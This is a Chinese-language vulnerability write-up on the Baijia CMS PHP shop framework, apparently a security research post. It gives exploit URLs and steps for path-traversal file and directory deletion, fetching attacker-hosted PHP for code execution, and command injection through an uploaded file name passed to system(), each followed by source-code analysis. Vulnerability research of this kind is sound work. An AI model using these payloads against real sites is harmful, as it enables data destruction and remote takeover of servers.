之前看到有师傅在讨论,后台的正常功能被恶意利用,算不算漏洞。
我个人理解,能够造成非预期结果的,便是漏洞。
可能会有很多师傅跟我想法不同,欢迎友好讨论
求同存异,以后介绍时分开漏洞和姿势之类。
百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。
手动创建数据库bjcms
配置后完成安装
# payload
# 不需要后台权限
# 只能删除文件,不能删除文件夹
http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt
设置里需要选择本地,否则删除的不是本地文件
先在根目录下创建qwe.txt作为测试文件
访问payload
查看文件,已经被删除
# 需要后台权限
# 只能删除路径
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1
根目录下创建test文件夹,里面有内容为123的test.txt文件
访问payload
将参数转为base64并方位payload
查看文件夹,已被删除
我也不知道叫什么好
# 需要后台权限
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php
远程服务器起一个/test/test.php,内容为<?php echo "<?php phpinfo();";
,
访问payload,得到路径
访问路径,执行代码
查看本地文件
# 需要后台权限
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1
首先需要在设置里将图片缩放打开
本地创建&命令&.txt
格式的文件
访问payload,并进行上传
命令执行
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
/system/eshop/core/mobile/util/uploader.php
......
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
......
file的值为GET获取的参数,跟进
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
$settings['system_isnetattach']
的即为上文中的本地,ftp或者oss,如果本地,经过is_file的判断后,直接调用unlink删除
/system/manager/class/web/database.php
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
原本用于删除数据库的备份,没有做过滤,导致任意删除路径
/system/public/class/web/file.php
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
url为GET读取参数,跟进
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
利用pathinfo获取后缀,与随机数拼接为文件名,将读取的文件内容写入目录下,最后将路径信息返回
/system/weixin/class/web/setting.php
......
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr)) {
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/") {
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
......
跟进file_save函数
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
......
$settings['image_compress_openscale']
即为是否缩放,经过判断后,直接将文件名传入system函数中导致RCE,上文的远程文件中,也调用了file_save函数,但文件名为随机数生成,导致无法调用
后台可进行备份,格式为/随机数文件名/baijiacms-1.sql
,文件名可查看,导致泄露